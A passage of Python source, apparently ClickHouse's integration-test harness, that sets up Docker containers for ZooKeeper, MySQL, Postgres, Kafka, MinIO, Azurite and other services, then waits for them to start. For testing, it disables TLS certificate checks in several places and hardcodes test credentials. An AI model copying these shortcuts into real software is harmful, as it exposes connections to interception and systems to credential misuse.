with_zookeeper_secure - if True, add ZooKeeper Secure configuration to configs and ZooKeeper instances to the cluster. """ if self.is_up: raise Exception("Can\'t add instance %s: cluster is already up!" % name) if name in self.instances: raise Exception("Can\'t add instance `%s': there is already an instance with the same name!" % name) if tag is None: tag = self.docker_base_tag if not env_variables: env_variables = {} self.use_keeper = use_keeper # Code coverage files will be placed in database directory # (affect only WITH_COVERAGE=1 build) env_variables['LLVM_PROFILE_FILE'] = '/var/lib/clickhouse/server_%h_%p_%m.profraw' instance = ClickHouseInstance( cluster=self, base_path=self.base_dir, name=name, base_config_dir=base_config_dir if base_config_dir else self.base_config_dir, custom_main_configs=main_configs or [], custom_user_configs=user_configs or [], custom_dictionaries=dictionaries or [], macros=macros or {}, with_zookeeper=with_zookeeper, zookeeper_config_path=self.zookeeper_config_path, with_mysql_client=with_mysql_client, with_mysql=with_mysql, with_mysql8=with_mysql8, with_mysql_cluster=with_mysql_cluster, with_kafka=with_kafka, with_kerberized_kafka=with_kerberized_kafka, with_rabbitmq=with_rabbitmq, with_nginx=with_nginx, with_kerberized_hdfs=with_kerberized_hdfs, with_mongo=with_mongo or with_mongo_secure, with_redis=with_redis, with_minio=with_minio, with_azurite=with_azurite, with_cassandra=with_cassandra, with_jdbc_bridge=with_jdbc_bridge, server_bin_path=self.server_bin_path, odbc_bridge_bin_path=self.odbc_bridge_bin_path, library_bridge_bin_path=self.library_bridge_bin_path, clickhouse_path_dir=clickhouse_path_dir, with_odbc_drivers=with_odbc_drivers, with_postgres=with_postgres, with_postgres_cluster=with_postgres_cluster, hostname=hostname, env_variables=env_variables, image=image, tag=tag, stay_alive=stay_alive, ipv4_address=ipv4_address, ipv6_address=ipv6_address, with_installed_binary=with_installed_binary, main_config_name=main_config_name, users_config_name=users_config_name, copy_common_configs=copy_common_configs, external_dirs=external_dirs, tmpfs=tmpfs or [], config_root_name=config_root_name) docker_compose_yml_dir = get_docker_compose_path() self.instances[name] = instance if ipv4_address is not None or ipv6_address is not None: self.with_net_trics = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_net.yml')]) self.base_cmd.extend(['--file', instance.docker_compose_path]) cmds = [] if with_zookeeper_secure and not self.with_zookeeper_secure: cmds.append(self.setup_zookeeper_secure_cmd(instance, env_variables, docker_compose_yml_dir)) if with_zookeeper and not self.with_zookeeper: if self.use_keeper: cmds.append(self.setup_keeper_cmd(instance, env_variables, docker_compose_yml_dir)) else: cmds.append(self.setup_zookeeper_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql_client and not self.with_mysql_client: cmds.append(self.setup_mysql_client_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql and not self.with_mysql: cmds.append(self.setup_mysql_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql8 and not self.with_mysql8: cmds.append(self.setup_mysql8_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql_cluster and not self.with_mysql_cluster: cmds.append(self.setup_mysql_cluster_cmd(instance, env_variables, docker_compose_yml_dir)) if with_postgres and not self.with_postgres: cmds.append(self.setup_postgres_cmd(instance, env_variables, docker_compose_yml_dir)) if with_postgres_cluster and not self.with_postgres_cluster: cmds.append(self.setup_postgres_cluster_cmd(instance, env_variables, docker_compose_yml_dir)) if with_odbc_drivers and not self.with_odbc_drivers: self.with_odbc_drivers = True if not self.with_mysql: cmds.append(self.setup_mysql_cmd(instance, env_variables, docker_compose_yml_dir)) if not self.with_postgres: cmds.append(self.setup_postgres_cmd(instance, env_variables, docker_compose_yml_dir)) if with_kafka and not self.with_kafka: cmds.append(self.setup_kafka_cmd(instance, env_variables, docker_compose_yml_dir)) if with_kerberized_kafka and not self.with_kerberized_kafka: cmds.append(self.setup_kerberized_kafka_cmd(instance, env_variables, docker_compose_yml_dir)) if with_rabbitmq and not self.with_rabbitmq: cmds.append(self.setup_rabbitmq_cmd(instance, env_variables, docker_compose_yml_dir)) if with_nginx and not self.with_nginx: cmds.append(self.setup_nginx_cmd(instance, env_variables, docker_compose_yml_dir)) if with_hdfs and not self.with_hdfs: cmds.append(self.setup_hdfs_cmd(instance, env_variables, docker_compose_yml_dir)) if with_kerberized_hdfs and not self.with_kerberized_hdfs: cmds.append(self.setup_kerberized_hdfs_cmd(instance, env_variables, docker_compose_yml_dir)) if (with_mongo or with_mongo_secure) and not (self.with_mongo or self.with_mongo_secure): if with_mongo_secure: cmds.append(self.setup_mongo_secure_cmd(instance, env_variables, docker_compose_yml_dir)) else: cmds.append(self.setup_mongo_cmd(instance, env_variables, docker_compose_yml_dir)) if self.with_net_trics: for cmd in cmds: cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_net.yml')]) if with_redis and not self.with_redis: cmds.append(self.setup_redis_cmd(instance, env_variables, docker_compose_yml_dir)) if with_minio and not self.with_minio: cmds.append(self.setup_minio_cmd(instance, env_variables, docker_compose_yml_dir)) if with_azurite and not self.with_azurite: cmds.append(self.setup_azurite_cmd(instance, env_variables, docker_compose_yml_dir)) if minio_certs_dir is not None: if self.minio_certs_dir is None: self.minio_certs_dir = minio_certs_dir else: raise Exception("Overwriting minio certs dir") if with_cassandra and not self.with_cassandra: cmds.append(self.setup_cassandra_cmd(instance, env_variables, docker_compose_yml_dir)) if with_jdbc_bridge and not self.with_jdbc_bridge: cmds.append(self.setup_jdbc_bridge_cmd(instance, env_variables, docker_compose_yml_dir)) logging.debug("Cluster name:{} project_name:{}. Added instance name:{} tag:{} base_cmd:{} docker_compose_yml_dir:{}".format( self.name, self.project_name, name, tag, self.base_cmd, docker_compose_yml_dir)) return instance def get_instance_docker_id(self, instance_name): # According to how docker-compose names containers. return self.project_name + '_' + instance_name + '_1' def _replace(self, path, what, to): with open(path, 'r') as p: data = p.read() data = data.replace(what, to) with open(path, 'w') as p: p.write(data) def restart_instance_with_ip_change(self, node, new_ip): if '::' in new_ip: if node.ipv6_address is None: raise Exception("You should specity ipv6_address in add_node method") self._replace(node.docker_compose_path, node.ipv6_address, new_ip) node.ipv6_address = new_ip else: if node.ipv4_address is None: raise Exception("You should specity ipv4_address in add_node method") self._replace(node.docker_compose_path, node.ipv4_address, new_ip) node.ipv4_address = new_ip run_and_check(self.base_cmd + ["stop", node.name]) run_and_check(self.base_cmd + ["rm", "--force", "--stop", node.name]) run_and_check(self.base_cmd + ["up", "--force-recreate", "--no-deps", "-d", node.name]) node.ip_address = self.get_instance_ip(node.name) node.client = Client(node.ip_address, command=self.client_bin_path) logging.info("Restart node with ip change") # In builds with sanitizer the server can take a long time to start node.wait_for_start(start_timeout=180.0, connection_timeout=600.0) # seconds res = node.client.query("SELECT 30") logging.debug(f"Read '{res}'") assert "30\n" == res logging.info("Restarted") return node def restart_service(self, service_name): run_and_check(self.base_cmd + ["restart", service_name]) def get_instance_ip(self, instance_name): logging.debug("get_instance_ip instance_name={}".format(instance_name)) docker_id = self.get_instance_docker_id(instance_name) # for cont in self.docker_client.containers.list(): # logging.debug("CONTAINERS LIST: ID={} NAME={} STATUS={}".format(cont.id, cont.name, cont.status)) handle = self.docker_client.containers.get(docker_id) return list(handle.attrs['NetworkSettings']['Networks'].values())[0]['IPAddress'] def get_container_id(self, instance_name): return self.get_instance_docker_id(instance_name) # docker_id = self.get_instance_docker_id(instance_name) # handle = self.docker_client.containers.get(docker_id) # return handle.attrs['Id'] def get_container_logs(self, instance_name): container_id = self.get_container_id(instance_name) return self.docker_client.api.logs(container_id).decode() def exec_in_container(self, container_id, cmd, detach=False, nothrow=False, use_cli=True, **kwargs): if use_cli: logging.debug(f"run container_id:{container_id} detach:{detach} nothrow:{nothrow} cmd: {cmd}") exec_cmd = ["docker", "exec"] if 'user' in kwargs: exec_cmd += ['-u', kwargs['user']] result = subprocess_check_call(exec_cmd + [container_id] + cmd, detach=detach, nothrow=nothrow) return result else: exec_id = self.docker_client.api.exec_create(container_id, cmd, **kwargs) output = self.docker_client.api.exec_start(exec_id, detach=detach) exit_code = self.docker_client.api.exec_inspect(exec_id)['ExitCode'] if exit_code: container_info = self.docker_client.api.inspect_container(container_id) image_id = container_info.get('Image') image_info = self.docker_client.api.inspect_image(image_id) logging.debug(("Command failed in container {}: ".format(container_id))) pprint.pprint(container_info) logging.debug("") logging.debug(("Container {} uses image {}: ".format(container_id, image_id))) pprint.pprint(image_info) logging.debug("") message = 'Cmd "{}" failed in container {}. Return code {}. Output: {}'.format(' '.join(cmd), container_id, exit_code, output) if nothrow: logging.debug(message) else: raise Exception(message) if not detach: return output.decode() return output def copy_file_to_container(self, container_id, local_path, dest_path): with open(local_path, "r") as fdata: data = fdata.read() encodedBytes = base64.b64encode(data.encode("utf-8")) encodedStr = str(encodedBytes, "utf-8") self.exec_in_container(container_id, ["bash", "-c", "echo {} | base64 --decode > {}".format(encodedStr, dest_path)], user='root') def wait_for_url(self, url="http://localhost:8123/ping", conn_timeout=2, interval=2, timeout=60): if not url.startswith('http'): url = "http://" + url if interval <= 0: interval = 2 if timeout <= 0: timeout = 60 attempts = 1 errors = [] start = time.time() while time.time() - start < timeout: try: requests.get(url, allow_redirects=True, timeout=conn_timeout, verify=False).raise_for_status() logging.debug("{} is available after {} seconds".format(url, time.time() - start)) return except Exception as ex: logging.debug("{} Attempt {} failed, retrying in {} seconds".format(ex, attempts, interval)) attempts += 1 errors += [str(ex)] time.sleep(interval) run_and_check(['docker', 'ps', '--all']) logging.error("Can't connect to URL:{}".format(errors)) raise Exception("Cannot wait URL {}(interval={}, timeout={}, attempts={})".format( url, interval, timeout, attempts)) def wait_mysql_client_to_start(self, timeout=180): start = time.time() errors = [] self.mysql_client_container = self.get_docker_handle(self.get_instance_docker_id(self.mysql_client_host)) while time.time() - start < timeout: try: info = self.mysql_client_container.client.api.inspect_container(self.mysql_client_container.name) if info['State']['Health']['Status'] == 'healthy': logging.debug("Mysql Client Container Started") return time.sleep(1) except Exception as ex: errors += [str(ex)] time.sleep(1) run_and_check(['docker', 'ps', '--all']) logging.error("Can't connect to MySQL Client:{}".format(errors)) raise Exception("Cannot wait MySQL Client container") def wait_mysql_to_start(self, timeout=180): self.mysql_ip = self.get_instance_ip('mysql57') start = time.time() errors = [] while time.time() - start < timeout: try: conn = pymysql.connect(user='root', password='clickhouse', host=self.mysql_ip, port=self.mysql_port) conn.close() logging.debug("Mysql Started") return except Exception as ex: errors += [str(ex)] time.sleep(0.5) run_and_check(['docker-compose', 'ps', '--services', '--all']) logging.error("Can't connect to MySQL:{}".format(errors)) raise Exception("Cannot wait MySQL container") def wait_mysql8_to_start(self, timeout=180): self.mysql8_ip = self.get_instance_ip('mysql80') start = time.time() while time.time() - start < timeout: try: conn = pymysql.connect(user='root', password='clickhouse', host=self.mysql8_ip, port=self.mysql8_port) conn.close() logging.debug("Mysql 8 Started") return except Exception as ex: logging.debug("Can't connect to MySQL 8 " + str(ex)) time.sleep(0.5) run_and_check(['docker-compose', 'ps', '--services', '--all']) raise Exception("Cannot wait MySQL 8 container") def wait_mysql_cluster_to_start(self, timeout=180): self.mysql2_ip = self.get_instance_ip(self.mysql2_host) self.mysql3_ip = self.get_instance_ip(self.mysql3_host) self.mysql4_ip = self.get_instance_ip(self.mysql4_host) start = time.time() errors = [] while time.time() - start < timeout: try: for ip in [self.mysql2_ip, self.mysql3_ip, self.mysql4_ip]: conn = pymysql.connect(user='root', password='clickhouse', host=ip, port=self.mysql_port) conn.close() logging.debug(f"Mysql Started {ip}") return except Exception as ex: errors += [str(ex)] time.sleep(0.5) run_and_check(['docker-compose', 'ps', '--services', '--all']) logging.error("Can't connect to MySQL:{}".format(errors)) raise Exception("Cannot wait MySQL container") def wait_postgres_to_start(self, timeout=260): self.postgres_ip = self.get_instance_ip(self.postgres_host) start = time.time() while time.time() - start < timeout: try: self.postgres_conn = psycopg2.connect(host=self.postgres_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres_conn.autocommit = True logging.debug("Postgres Started") return except Exception as ex: logging.debug("Can't connect to Postgres " + str(ex)) time.sleep(0.5) raise Exception("Cannot wait Postgres container") def wait_postgres_cluster_to_start(self, timeout=180): self.postgres2_ip = self.get_instance_ip(self.postgres2_host) self.postgres3_ip = self.get_instance_ip(self.postgres3_host) self.postgres4_ip = self.get_instance_ip(self.postgres4_host) start = time.time() while time.time() - start < timeout: try: self.postgres2_conn = psycopg2.connect(host=self.postgres2_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres2_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres2_conn.autocommit = True logging.debug("Postgres Cluster host 2 started") break except Exception as ex: logging.debug("Can't connect to Postgres host 2" + str(ex)) time.sleep(0.5) while time.time() - start < timeout: try: self.postgres3_conn = psycopg2.connect(host=self.postgres3_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres3_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres3_conn.autocommit = True logging.debug("Postgres Cluster host 3 started") break except Exception as ex: logging.debug("Can't connect to Postgres host 3" + str(ex)) time.sleep(0.5) while time.time() - start < timeout: try: self.postgres4_conn = psycopg2.connect(host=self.postgres4_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres4_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres4_conn.autocommit = True logging.debug("Postgres Cluster host 4 started") return except Exception as ex: logging.debug("Can't connect to Postgres host 4" + str(ex)) time.sleep(0.5) raise Exception("Cannot wait Postgres container") def wait_rabbitmq_to_start(self, timeout=180, throw=True): self.rabbitmq_ip = self.get_instance_ip(self.rabbitmq_host) start = time.time() while time.time() - start < timeout: try: if check_rabbitmq_is_available(self.rabbitmq_docker_id): logging.debug("RabbitMQ is available") if enable_consistent_hash_plugin(self.rabbitmq_docker_id): logging.debug("RabbitMQ consistent hash plugin is available") return True time.sleep(0.5) except Exception as ex: logging.debug("Can't connect to RabbitMQ " + str(ex)) time.sleep(0.5) if throw: raise Exception("Cannot wait RabbitMQ container") return False def wait_nginx_to_start(self, timeout=60): self.nginx_ip = self.get_instance_ip(self.nginx_host) start = time.time() while time.time() - start < timeout: try: self.exec_in_container(self.nginx_id, ["curl", "-X", "PUT", "-d", "Test", "http://test.com/test.txt"]) res = self.exec_in_container(self.nginx_id, ["curl", "-X", "GET", "http://test.com/test.txt"]) assert(res == 'Test') print('nginx static files server is available') return except Exception as ex: print("Can't connect to nginx: " + str(ex)) time.sleep(0.5) def wait_zookeeper_secure_to_start(self, timeout=20): logging.debug("Wait ZooKeeper Secure to start") start = time.time() while time.time() - start < timeout: try: for instance in ['zoo1', 'zoo2', 'zoo3']: conn = self.get_kazoo_client(instance) conn.get_children('/') conn.stop() logging.debug("All instances of ZooKeeper Secure started") return except Exception as ex: logging.debug("Can't connect to ZooKeeper secure " + str(ex)) time.sleep(0.5) raise Exception("Cannot wait ZooKeeper secure container") def wait_zookeeper_to_start(self, timeout=180): logging.debug("Wait ZooKeeper to start") start = time.time() while time.time() - start < timeout: try: for instance in ['zoo1', 'zoo2', 'zoo3']: conn = self.get_kazoo_client(instance) conn.get_children('/') conn.stop() logging.debug("All instances of ZooKeeper started") return except Exception as ex: logging.debug("Can't connect to ZooKeeper " + str(ex)) time.sleep(0.5) raise Exception("Cannot wait ZooKeeper container") def make_hdfs_api(self, timeout=180, kerberized=False): if kerberized: keytab = p.abspath(p.join(self.instances['node1'].path, "secrets/clickhouse.keytab")) krb_conf = p.abspath(p.join(self.instances['node1'].path, "secrets/krb_long.conf")) self.hdfs_kerberized_ip = self.get_instance_ip(self.hdfs_kerberized_host) kdc_ip = self.get_instance_ip('hdfskerberos') self.hdfs_api = HDFSApi(user="root", timeout=timeout, kerberized=True, principal="root@TEST.CLICKHOUSE.TECH", keytab=keytab, krb_conf=krb_conf, host=self.hdfs_kerberized_host, protocol="http", proxy_port=self.hdfs_kerberized_name_port, data_port=self.hdfs_kerberized_data_port, hdfs_ip=self.hdfs_kerberized_ip, kdc_ip=kdc_ip) else: self.hdfs_ip = self.get_instance_ip(self.hdfs_host) self.hdfs_api = HDFSApi(user="root", host=self.hdfs_host, data_port=self.hdfs_data_port, proxy_port=self.hdfs_name_port, hdfs_ip=self.hdfs_ip) def wait_kafka_is_available(self, kafka_docker_id, kafka_port, max_retries=50): retries = 0 while True: if check_kafka_is_available(kafka_docker_id, kafka_port): break else: retries += 1 if retries > max_retries: raise Exception("Kafka is not available") logging.debug("Waiting for Kafka to start up") time.sleep(1) def wait_hdfs_to_start(self, timeout=300, check_marker=False): start = time.time() while time.time() - start < timeout: try: self.hdfs_api.write_data("/somefilewithrandomname222", "1") logging.debug("Connected to HDFS and SafeMode disabled! ") if check_marker: self.hdfs_api.read_data("/preparations_done_marker") return except Exception as ex: logging.exception("Can't connect to HDFS or preparations are not done yet " + str(ex)) time.sleep(1) raise Exception("Can't wait HDFS to start") def wait_mongo_to_start(self, timeout=30, secure=False): connection_str = 'mongodb://{user}:{password}@{host}:{port}'.format( host='localhost', port=self.mongo_port, user='root', password='clickhouse') if secure: connection_str += '/?tls=true&tlsAllowInvalidCertificates=true' connection = pymongo.MongoClient(connection_str) start = time.time() while time.time() - start < timeout: try: connection.list_database_names() logging.debug(f"Connected to Mongo dbs: {connection.database_names()}") return except Exception as ex: logging.debug("Can't connect to Mongo " + str(ex)) time.sleep(1) def wait_minio_to_start(self, timeout=180, secure=False): self.minio_ip = self.get_instance_ip(self.minio_host) self.minio_redirect_ip = self.get_instance_ip(self.minio_redirect_host) os.environ['SSL_CERT_FILE'] = p.join(self.base_dir, self.minio_dir, 'certs', 'public.crt') minio_client = Minio(f'{self.minio_ip}:{self.minio_port}', access_key='minio', secret_key='minio123', secure=secure, http_client=urllib3.PoolManager(cert_reqs='CERT_NONE')) # disable SSL check as we test ClickHouse and not Python library start = time.time() while time.time() - start < timeout: try: minio_client.list_buckets() logging.debug("Connected to Minio.") buckets = [self.minio_bucket, self.minio_bucket_2] for bucket in buckets: if minio_client.bucket_exists(bucket): delete_object_list = map( lambda x: x.object_name, minio_client.list_objects_v2(bucket, recursive=True), ) errors = minio_client.remove_objects(bucket, delete_object_list) for error in errors: logging.error(f"Error occured when deleting object {error}") minio_client.remove_bucket(bucket) minio_client.make_bucket(bucket) logging.debug("S3 bucket '%s' created", bucket) self.minio_client = minio_client return except Exception as ex: logging.debug("Can't connect to Minio: %s", str(ex)) time.sleep(1) raise Exception("Can't wait Minio to start") def wait_azurite_to_start(self, timeout=180): from azure.storage.blob import BlobServiceClient connection_string = "DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1;" time.sleep(1) start = time.time() while time.time() - start < timeout: try: blob_service_client = BlobServiceClient.from_connection_string(connection_string) logging.debug(blob_service_client.get_account_information()) self.blob_service_client = blob_service_client return except Exception as ex: logging.debug("Can't connect to Azurite: %s", str(ex)) time.sleep(1) raise Exception("Can't wait Azurite to start") def wait_schema_registry_to_start(self, timeout=180): sr_client = CachedSchemaRegistryClient({"url":'http://localhost:{}'.format(self.schema_registry_port)}) start = time.time() while time.time() - start < timeout: try: sr_client._send_request(sr_client.url) logging.debug("Connected to SchemaRegistry") return sr_client except Exception as ex: logging.debug(("Can't connect to SchemaRegistry: %s", str(ex))) time.sleep(1) raise Exception("Can't wait Schema Registry to start") def wait_cassandra_to_start(self, timeout=180): self.cassandra_ip = self.get_instance_ip(self.cassandra_host) cass_client = cassandra.cluster.Cluster([self.cassandra_ip], port=self.cassandra_port, load_balancing_policy=RoundRobinPolicy()) start = time.time() while time.time() - start < timeout: try: logging.info(f"Check Cassandra Online {self.cassandra_id} {self.cassandra_ip} {self.cassandra_port}") check = self.exec_in_container(self.cassandra_id, ["bash", "-c", f"/opt/cassandra/bin/cqlsh -u cassandra -p cassandra -e 'describe keyspaces' {self.cassandra_ip} {self.cassandra_port}"], user='root') logging.info("Cassandra Online") cass_client.connect() logging.info("Connected Clients to Cassandra") return except Exception as ex: logging.warning("Can't connect to Cassandra: %s", str(ex)) time.sleep(1) raise Exception("Can't wait Cassandra to start") def start(self, destroy_dirs=True): pytest_xdist_logging_to_separate_files.setup() logging.info("Running tests in {}".format(self.base_path)) logging.debug("Cluster start called. is_up={}, destroy_dirs={}".format(self.is_up, destroy_dirs)) if self.is_up: return try: self.cleanup() except Exception as e: logging.warning("Cleanup failed:{e}") try: # clickhouse_pull_cmd = self.base_cmd + ['pull'] # print(f"Pulling images for {self.base_cmd}") # retry_exception(10, 5, subprocess_check_call, Exception, clickhouse_pull_cmd) if destroy_dirs and p.exists(self.instances_dir): logging.debug(f"Removing instances dir {self.instances_dir}") shutil.rmtree(self.instances_dir) for instance in list(self.instances.values()): logging.debug(('Setup directory for instance: {} destroy_dirs: {}'.format(instance.name, destroy_dirs))) instance.create_dir(destroy_dir=destroy_dirs) _create_env_file(os.path.join(self.env_file), self.env_variables) self.docker_client = docker.DockerClient(base_url='unix:///var/run/docker.sock', version=self.docker_api_version, timeout=600) common_opts = ['--verbose', 'up', '-d'] if self.with_zookeeper_secure and self.base_zookeeper_cmd: logging.debug('Setup ZooKeeper Secure') logging.debug(f'Creating internal ZooKeeper dirs: {self.zookeeper_dirs_to_create}') for i in range(1,3): if os.path.exists(self.zookeeper_instance_dir_prefix + f"{i}"): shutil.rmtree(self.zookeeper_instance_dir_prefix + f"{i}") for dir in self.zookeeper_dirs_to_create: os.makedirs(dir) run_and_check(self.base_zookeeper_cmd + common_opts, env=self.env) self.up_called = True self.wait_zookeeper_secure_to_start() for command in self.pre_zookeeper_commands: self.run_kazoo_commands_with_retries(command, repeats=5) if self.with_zookeeper and self.base_zookeeper_cmd: logging.debug('Setup ZooKeeper') logging.debug(f'Creating internal ZooKeeper dirs: {self.zookeeper_dirs_to_create}') if self.use_keeper: for i in range(1,4): if os.path.exists(self.keeper_instance_dir_prefix + f"{i}"): shutil.rmtree(self.keeper_instance_dir_prefix + f"{i}") else: for i in range(1,3): if os.path.exists(self.zookeeper_instance_dir_prefix + f"{i}"): shutil.rmtree(self.zookeeper_instance_dir_prefix + f"{i}") for dir in self.zookeeper_dirs_to_create: os.makedirs(dir) if self.use_keeper: # TODO: remove hardcoded paths from here for i in range(1,4): shutil.copy(os.path.join(HELPERS_DIR, f'keeper_config{i}.xml'), os.path.join(self.keeper_instance_dir_prefix + f"{i}", "config" )) run_and_check(self.base_zookeeper_cmd + common_opts, env=self.env) self.up_called = True self.wait_zookeeper_to_start() for command in self.pre_zookeeper_commands: self.run_kazoo_commands_with_retries(command, repeats=5) if self.with_mysql_client and self.base_mysql_client_cmd: logging.debug('Setup MySQL Client') subprocess_check_call(self.base_mysql_client_cmd + common_opts) self.wait_mysql_client_to_start() if self.with_mysql and self.base_mysql_cmd: logging.debug('Setup MySQL') if os.path.exists(self.mysql_dir): shutil.rmtree(self.mysql_dir) os.makedirs(self.mysql_logs_dir) os.chmod(self.mysql_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_mysql_cmd + common_opts) self.up_called = True self.wait_mysql_to_start() if self.with_mysql8 and self.base_mysql8_cmd: logging.debug('Setup MySQL 8') if os.path.exists(self.mysql8_dir): shutil.rmtree(self.mysql8_dir) os.makedirs(self.mysql8_logs_dir) os.chmod(self.mysql8_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_mysql8_cmd + common_opts) self.wait_mysql8_to_start() if self.with_mysql_cluster and self.base_mysql_cluster_cmd: print('Setup MySQL') if os.path.exists(self.mysql_cluster_dir): shutil.rmtree(self.mysql_cluster_dir) os.makedirs(self.mysql_cluster_logs_dir) os.chmod(self.mysql_cluster_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_mysql_cluster_cmd + common_opts) self.up_called = True self.wait_mysql_cluster_to_start() if self.with_postgres and self.base_postgres_cmd: logging.debug('Setup Postgres') if os.path.exists(self.postgres_dir): shutil.rmtree(self.postgres_dir) os.makedirs(self.postgres_logs_dir) os.chmod(self.postgres_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_postgres_cmd + common_opts) self.up_called = True self.wait_postgres_to_start() if self.with_postgres_cluster and self.base_postgres_cluster_cmd: print('Setup Postgres') os.makedirs(self.postgres2_logs_dir) os.chmod(self.postgres2_logs_dir, stat.S_IRWXU | stat.S_IRWXO) os.makedirs(self.postgres3_logs_dir) os.chmod(self.postgres3_logs_dir, stat.S_IRWXU | stat.S_IRWXO) os.makedirs(self.postgres4_logs_dir) os.chmod(self.postgres4_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_postgres_cluster_cmd + common_opts) self.up_called = True self.wait_postgres_cluster_to_start() if self.with_kafka and self.base_kafka_cmd: logging.debug('Setup Kafka') subprocess_check_call(self.base_kafka_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.wait_kafka_is_available(self.kafka_docker_id, self.kafka_port) self.wait_schema_registry_to_start() if self.with_kerberized_kafka and self.base_kerberized_kafka_cmd: logging.debug('Setup kerberized kafka') run_and_check(self.base_kerberized_kafka_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.wait_kafka_is_available(self.kerberized_kafka_docker_id, self.kerberized_kafka_port, 100) if self.with_rabbitmq and self.base_rabbitmq_cmd: logging.debug('Setup RabbitMQ') os.makedirs(self.rabbitmq_logs_dir) os.chmod(self.rabbitmq_logs_dir, stat.S_IRWXU | stat.S_IRWXO) for i in range(5): subprocess_check_call(self.base_rabbitmq_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.rabbitmq_docker_id = self.get_instance_docker_id('rabbitmq1') logging.debug(f"RabbitMQ checking container try: {i}") if self.wait_rabbitmq_to_start(throw=(i==4)): break if self.with_hdfs and self.base_hdfs_cmd: logging.debug('Setup HDFS') os.makedirs(self.hdfs_logs_dir) os.chmod(self.hdfs_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_hdfs_cmd + common_opts) self.up_called = True self.make_hdfs_api() self.wait_hdfs_to_start() if self.with_kerberized_hdfs and self.base_kerberized_hdfs_cmd: logging.debug('Setup kerberized HDFS') os.makedirs(self.hdfs_kerberized_logs_dir) os.chmod(self.hdfs_kerberized_logs_dir, stat.S_IRWXU | stat.S_IRWXO) run_and_check(self.base_kerberized_hdfs_cmd + common_opts) self.up_called = True self.make_hdfs_api(kerberized=True) self.wait_hdfs_to_start(check_marker=True) if self.with_nginx and self.base_nginx_cmd: logging.debug('Setup nginx') subprocess_check_call(self.base_nginx_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.nginx_docker_id = self.get_instance_docker_id('nginx') self.wait_nginx_to_start() if self.with_mongo and self.base_mongo_cmd: logging.debug('Setup Mongo') run_and_check(self.base_mongo_cmd + common_opts) self.up_called = True self.wait_mongo_to_start(30, secure=self.with_mongo_secure) if self.with_redis and self.base_redis_cmd: logging.debug('Setup Redis') subprocess_check_call(self.base_redis_cmd + common_opts) self.up_called = True time.sleep(10) if self.with_minio and self.base_minio_cmd: # Copy minio certificates to minio/certs os.mkdir(self.minio_dir) if self.minio_certs_dir is None: os.mkdir(os.path.join(self.minio_dir, 'certs')) else: shutil.copytree(os.path.join(self.base_dir, self.minio_certs_dir), os.path.join(self.minio_dir, 'certs')) minio_start_cmd = self.base_minio_cmd + common_opts logging.info("Trying to create Minio instance by command %s", ' '.join(map(str, minio_start_cmd))) run_and_check(minio_start_cmd) self.up_called = True logging.info("Trying to connect to Minio...") self.wait_minio_to_start(secure=self.minio_certs_dir is not None) if self.with_azurite and self.base_azurite_cmd: azurite_start_cmd = self.base_azurite_cmd + common_opts logging.info("Trying to create Azurite instance by command %s", ' '.join(map(str, azurite_start_cmd))) run_and_check(azurite_start_cmd) self.up_called = True logging.info("Trying to connect to Azurite") self.wait_azurite_to_start() if self.with_cassandra and self.base_cassandra_cmd: subprocess_check_call(self.base_cassandra_cmd + ['up', '-d']) self.up_called = True self.wait_cassandra_to_start() if self.with_jdbc_bridge and self.base_jdbc_bridge_cmd: os.makedirs(self.jdbc_driver_logs_dir) os.chmod(self.jdbc_driver_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_jdbc_bridge_cmd + ['up', '-d']) self.up_called = True self.jdbc_bridge_ip = self.get_instance_ip(self.jdbc_bridge_host) self.wait_for_url(f"http://{self.jdbc_bridge_ip}:{self.jdbc_bridge_port}/ping") clickhouse_start_cmd = self.base_cmd + ['up', '-d', '--no-recreate'] logging.debug(("Trying to create ClickHouse instance by command %s", ' '.join(map(str, clickhouse_start_cmd)))) self.up_called = True run_and_check(clickhouse_start_cmd) logging.debug("ClickHouse instance created") start_timeout = 300.0 # seconds for instance in self.instances.values(): instance.docker_client = self.docker_client instance.ip_address = self.get_instance_ip(instance.name) logging.debug(f"Waiting for ClickHouse start in {instance.name}, ip: {instance.ip_address}...") instance.wait_for_start(start_timeout) logging.debug(f"ClickHouse {instance.name} started") instance.client = Client(instance.ip_address, command=self.client_bin_path) self.is_up = True except BaseException as e: logging.debug("Failed to start cluster: ") logging.debug(str(e)) logging.debug(traceback.print_exc()) self.shutdown() raise def shutdown(self, kill=True, ignore_fatal=True): sanitizer_assert_instance = None fatal_log = None if self.up_called: with open(self.docker_logs_path, "w+") as f: try: subprocess.check_call(self.base_cmd + ['logs'], stdout=f) # STYLE_CHECK_ALLOW_SUBPROCESS_CHECK_CALL except Exception as e: 